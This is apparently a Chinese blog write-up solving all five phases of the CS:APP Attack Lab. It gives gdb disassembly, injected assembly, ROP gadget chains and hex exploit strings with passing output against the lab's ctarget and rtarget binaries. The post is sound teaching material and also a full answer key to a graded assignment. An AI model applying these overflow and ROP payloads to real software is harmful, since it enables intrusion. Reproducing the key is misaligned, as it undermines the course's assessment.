《深入理解计算机系统》CSAPP_AttackLab
AttackLab
操作系统:linux
调试工具:gdb
Link:CS:APP3e
Memory Dot 我的个人博客,欢迎来玩。
Phase 1
我们是攻击者,也就是hack,其实我更喜欢骇客这个翻译,而不是黑客。phase1 ~ phase3
的攻击方式都是运行CTARGET
使用注入代码技术。
作为一名骇客小白,我们可以通过unix > objdump -d ctarget > ctarget.d
这段指令查看汇编代码,但我更喜欢用用gdb里的disas指令展示函数。这样更方便阅读。(这里就不需要打断点了)
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1(){
vlevel = 1;
/* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp #<touch1>的函数地址
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
第一个攻击任务是:
Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任务是运行CTARGET使得当getbuf运行结束后,运行touch1,这些行为要在test返回之前完成。
原本主函数test调用了getbuf函数,test返回时就结束了。但我们要在调用getbuf函数之后再多一个调用touch1函数。如何完成这个任务呢?
我们知道,当调用getbuf函数时,栈会给存留一个返回地址栈帧0x401976
,执行getbuf函数结束后,通过这个地址返回主函数test。我们只要把这个地址改为touch1的函数地址0x4017c0
即可。
如何改呢?我们利用栈溢出的特性,因为getbuf函数开辟了40(0x28)beytes的栈空间,我们多输入8bytes的touch1的函数地址用来覆盖,之前的40bytes随意输入。(栈的一行里有8byte,返回地址也是8bytes)
同时注意到intel使用的是小端法排序,我们无需用0x注明十六进制,CTARGET会自动转为十六进制。
key:
//level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40
(c0 17 40
后续的零可填可不填,会自动补上的)
我们通过unix> ./hex2raw < level1.txt | ./ctarget -q
进行攻击。(./ctarget -q
,在./ctarget
之后加 -q
的原因是我们没法连接上CMU的服务器,在本地运行验证结果就行了;文件level1.txt
中存放着我们的答案)
hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for Phase1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Phase 2
先查看代码及对应汇编代码:
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp #此时的%rsp还不是开辟空间的栈顶
0x00000000004017ac <+4>: mov %rsp,%rdi #此时的%rsp是已经开辟空间的栈顶
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
(gdb) disas touch2
Dump of assembler code for function touch2:
0x00000000004017ec <+0>: sub $0x8,%rsp #<touch2>的函数地址
----not need watch----
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.
Phase2和Phase1类似,也是在test返回前调用一次touch2函数。但是在touch2函数val的值必须和cookie相同才算touch2函数调用成功。
那么得想办法调用touch2函数,即注入touch2的函数地址。
advice:
Recall that the first argument to a function is passed in register %rdi.
%rdi
中存储touch2函数着第一个参数。Your injected code should set the register to your cookie, and then use a
ret
instruction to transfer control to the first instruction in touch2.
你注入的代码应该把寄存器%rdi
设置为cookie
,然后中使用ret
指令转移控制权到touch2中的第一条指令(即touch2的函数地址0x4017ec
)。
根据advice及touch2源代码可以知道:(要写汇编代码)
- 用
movq
指令,$0x59b997fa
移入%rdi
。从而val == cookie
函数touch2执行成功。(在cookie.txt中存着cookie的值0x59b997fa
)。 - 用
push
指令压入touch2的函数地址,从而ret
时会返回为touch2的函数地址。
那么有:
//level2.s
movq $0x59b997fa, %rdi
pushq 0x4017ec6
ret
再将其转化为机器代码:使用linux> gcc -c level2.s
及linux> objdump -d level2.o
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o
level2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
从而得到部分注入代码:(机器代码已经使用小端法了)
此处要将ff 34 25改为68才可通过,和标准答案编译的不一样,但不知道为啥,也许是我用`ubuntu`问题
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
那么现在问题来了,从哪里注入代码?答案应该是从栈顶,在getbuf
函数已经开辟栈空间的%rsp
处注入。
原因呢?如下图所示,注入的register必须在stack top之前。
接下来我们查找getbuf
开辟栈空间的%rsp
对应地址。
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14
14 buf.c: 没有那个文件或目录.
(gdb) print $rsp
$1 = (void *) 0x5561dc78
好,最终我们有,key: (注意填充已经开辟的栈空间40bytes以及小端法)
//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for Phase2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$
最后手绘一下,注入代码后的部分栈空间:(鼠标画的,字有点抽象)省略了getbuf
的return address
(注入顺序和图示顺序相反)
Phase 3
查看(汇编)代码:
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax #此时%rsp是第一次开辟8bytes的栈顶
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
#41_line: 此时%rsp是在原先旧帧(test)之后再开辟的40bytes空间的栈顶
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx #<touch3>的函数地址
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
----not need watch----
Dump of assembler code for function hexmatch:
0x000000000040184c <+0>: push %r12
0x000000000040184e <+2>: push %rbp
0x000000000040184f <+3>: push %rbx
0x0000000000401850 <+4>: add $0xffffffffffffff80,%rsp
#79_line: 此时%rsp是在原先旧帧(test、getbuf)上再开辟的110bytes空间的栈顶
......
0x00000000004018cf <+131>: callq 0x400ca0 <strncmp@plt>
----not need watch----
先看看任务:
Your task is to get
CTARGET
to execute the code fortouch3
rather than returning totest
. You must make it appear totouch3
as if you have passed a string representation of your cookie as its argument.
你的任务是让CTARGET
执行touch3
的代码,而不是返回test
。你必须让touch3
在test
之上(执行)看起来就像你(通过test
)传递了一个cookie的字符串表示作为touch3
的参数。
再康康建议:
advice:
You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “
0x
.”
你将会用到cookie的字符表示。这个字符表示是连续的十六进制数字且没有前缀0x
。Recall that a string is represented in C as a sequence of bytes followed by a byte with value 0. Type “
man ascii
” on any Linux machine to see the byte representations of the characters you need.
在c语言中,字符串表示的结尾是1byte的0(也就是'\0'
)。你可以在任何Linux机器中,使用man ascii
指令查看字符对应的ascii码。Your injected code should set register %rdi to the address of this string.
你注入的代码应该把%rdi
设置为字符串地址。When functions
hexmatch
andstrncmp
are called, they push data onto the stack, overwriting portions of memory that held the buffer used bygetbuf
. As a result, you will need to be careful where you place the string representation of your cookie.
当函数hexmatch
和strncmp
被调用时,它们会push数据到栈上,覆盖部分调用getbuf
时存储的内容。因此,你应该仔细确定在哪里放入你的cookie。
由此我们可以知道,和touch2类似,也是在使用test过程中先执行getbuf,在getbuf过程调用touch3,同时touch3会调用hexmatch,hexmatch会调用strncmp。我们通过汇编代码可以知道它们分别开辟的栈空间是多少。
test(8b)
-->getbuf(40b)
-->touch3(0b)
-->hexmatch(110b)
-->strncmp(not need watch)
考虑到hexmatch开辟的110bytes栈空间,会覆盖部分原有的getbuf开辟的40bytes空间。所以我们不能直接输入cookie的字符表示(也就是cookie的ASCII表示)。
不能输入立即数,那我们可以用输入地址的方式,在此之前将cookie的ASCII表示先放入该地址当中。
那么,该放入哪个地址呢?我们这里选择的是放入test的栈顶地址当中,原因有两个。一是因为test的栈顶地址可以临时使用,当test开辟栈空间后,它立刻调用了getbuf函数,其栈空间实际上没有存放任何数据。当调用结束后,才开始在栈空间处存放数据。二是因为方便输入,test开辟的8bytes空间,恰好用来直接输入cookie的ASCII表示。
由此得出,先输入cookie的ASCII表示,然后引用test的栈顶地址,再调用touch3,最后返回即可。接下来,我们按部就班的来。
- 先用
man ascii
指令查询字符的ASCII表示:
Tables
For convenience, below are more compact tables in hex(Left) and decimal(Right).
2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120
------------- ---------------------------------
0: 0 @ P ` p 0: ( 2 < F P Z d n x
1: ! 1 A Q a q 1: ) 3 = G Q [ e o y
2: " 2 B R b r 2: * 4 > H R \ f p z
3: # 3 C S c s 3: ! + 5 ? I S ] g q {
4: $ 4 D T d t 4: " , 6 @ J T ^ h r |
5: % 5 E U e u 5: # - 7 A K U _ i s }
6: & 6 F V f v 6: $ . 8 B L V ` j t ~
7: ' 7 G W g w 7: % / 9 C M W a k u DEL
8: ( 8 H X h x 8: & 0 : D N X b l v
9: ) 9 I Y i y 9: ' 1 ; E O Y c m w
A: * : J Z j z
B: + ; K [ k {
C: , < L \ l |
D: - = M ] m }
E: . > N ^ n ~
F: / ? O _ o DEL
从左边的16进制表示可以得到cookie的ASCII表示:
0x59b997fa
35 39 62 39 39 37 66 61
- 接下来查找test的栈顶地址:
(gdb) b *0x40196c
Breakpoint 1 at 0x40196c: file visible.c, line 92.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, test () at visible.c:92
92 visible.c: 没有那个文件或目录.
(gdb) p $rsp
$1 = (void *) 0x5561dca8
那么test的栈顶地址为:0x5561dca8
.
- 引用test的栈顶地址(作为地址存放在%rdi中,作为输入),再调用touch3(
0x4018fa
,之前的汇编已经给出),最后返回。得出如下汇编代码:
//level3.s
movq $0x5561dca8, %rdi
pushq 0x4018fa
ret
反汇编得出机器代码:
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level3.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level3.o
level3.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: ff 34 25 fa 18 40 00 pushq 0x4018fa
e: c3 retq
最终结合cookie的ASCII表示以及要注入的位置(getbuf栈顶地址:0x5561dc78
)可以得出key:
(要将ff 34 25
改为68
才可通过,和标准答案编译的不一样,但不知道为啥,也许是我用ubuntu
问题)
//level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
注意,任何字符表示的结尾都要加上'\0'
,也就是16进制的00
。也许会有人问,test只开辟了8bytes的栈空间,这不会溢出到返回地址,然后覆盖返回地址内容吗?当然会,但是经过查阅,发现ctarget
的所有指令的地址400c48 ~ 402d7c
都只占据6byetes。从而test返回时的地址最后2bytes是无效位,覆盖了也对返回地址没影响。
验证一下:
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for Phase3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
最后手绘一下,注入代码后的部分栈空间:(鼠标画的,字有点抽象)省略了函数的返回地址R.A.
(省略了getbuf, hexmatch
的return address
;hexmatch栈空间实际已经覆盖了getbuf栈空间部分内容,但为了能看清楚,没有展示出来)
Phase 4
日期:21.11.7 ~ 21.11.8
从Phase4起,用ROP(Return-Oriented Programming),以因为单单使用注入代码(inject code)技术无法解决的栈随机化、二进制文件被限制访问的问题。
Phase4的任务和Phase2一样:将%rdi设置为cookie,调用touch2。
ROP要用到gatgets
这个工具。
gadget:每一段gadget
包含一系列指令字节,而且以ret
结尾,跳转到下一个gadget
,就这样连续的执行一系列的指令代码,对程序造成攻击。
实验老师已经很贴切的将我们需要用到的gatget
放进fram.c
文件里了。我们将其反汇编才可运用,终端指令如下:(注意是-Og
,O
要大写,不然就会采用 stack frame pointer,而rtarget
里是没有用该指针的,不加的话指令编码会很复杂)
gcc -c -Og farm.c
objdump -d farm.o > farm.d
提示里有句很重要的话:
When a gadget uses a
popq
instruction, it will pop data from the stack.
说明使用gadget中的popq指令可以将栈的元素弹出,能够弹出的位置当然只能是栈顶了。
再结合我们之前在Phase2注入cookie使用的是movq指令,可以猜测,这里应该汇编代码应该是弹出cookie再将其移入%rdi
,即:(gadget中的指令都是以ret
结尾,所以弹出之后应该放在%rax
里)
popq %rax
movq %rax, %rdi
再参照表格:(这个图片在Phase 5处)
得出上述汇编代码十六进制表示:
58
48 89 c7
再于farm.d
文件中查找对应gadget
指令(直接ctrl+f查找48 89 c7
)。我们是要把cookie加进去,所以我们选择addvel这一组如下:
0000000000000014 <addval_273>:
14: f3 0f 1e fa endbr64
18: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax <到movq位置需要加2>
1e: c3 retq
000000000000001f <addval_219>:
1f: f3 0f 1e fa endbr64
23: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax <到popq的位置需要加4>
29: c3 retq
最后在终端使用如下指令查找它们十六进制代码:
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gdb rtarget
......
(gdb) disas addval_273
Dump of assembler code for function addval_273:
0x00000000004019a0 <+0>: lea -0x3c3876b8(%rdi),%eax <movq>
0x00000000004019a6 <+6>: retq
End of assembler dump.
(gdb) disas addval_219
Dump of assembler code for function addval_219:
0x00000000004019a7 <+0>: lea -0x6fa78caf(%rdi),%eax <popq>
0x00000000004019ad <+6>: retq
End of assembler dump.
可以得出对应movq、popq对应的起始地址:0x4019a0 + 2 = 0x4019a2
,0x4019a7 + 4 = 0x4019ab
。
灵魂画手又来啦。直接把gatget的指令的注入,pop之后会有一个数据,这个数据就是cookie。
key:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Phase 5
21.11.20
phase 5和phase 3的相同任务,但同样考虑到栈随机化、二进制文件被限制访问的问题。我们使用ROP解决。
Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3,
you caused a program to execute machine code of your own design. If CTARGET had been a network server,
you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the
main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own
code, you were able inject a type of program that operates by stitching together sequences of existing code.
You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations
consider stopping right now.
很喜欢老师非常诚恳的一段话。
回顾phase 3任务,也是在tset
返回前执行touch3
,但还要记得插入个cookie
的ascii代码
由于思路堵塞,这里直接参考这位博主的思路:
- 因为开启了栈随机化,所以不能直接把代码插入到绝对地址,必须找一个基准,我们就只能找%rsp。
- 因为touch3会开辟一个很大的buffsize,若把数据插到touch3下面的栈空间,有关内存之后基本就会被重写,所以要存在touch3的更高地址处。所以要在%rsp上加一个bias才可以,即字符串地址是%rsp + bias。
- 没有直接的加法指令,那就找两个寄存器互相加,找到一个放在下面
- 具体的操作可以是这样:
- 把
%rsp
里的栈指针地址放到%rdi
- 拿到bias的值放到
%rsi
- 利用
lea x, y
,把栈指针地址%rdi
和bias(%rsi
)加起来放到%rax
,再传到%rdi
- 调用
touch3
关于寄存器的转化,需要自己查表配出来。
我们先画(写出= =)出要执行的栈帧。
因为bias
的取值要根据插入的ROP指令数量来决定,bias = 8byte * 9 = 72 = 0x48
。(注意,直接用0x48覆盖弹出的%rax的值也算一条ROP指令)
具体的查找指令对应十六进制代码的过程就不详述了,可以参考Phase 4
,直接放出答案。
key:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
Reference Linking
Conclusion
21.11.20
- attack的要求蛮高,经常要找参考答案。
- 英文真的很重要(所以最近要用心、用脑备考六级了)
- 想到在补充
- 如有谬误,敬请指正。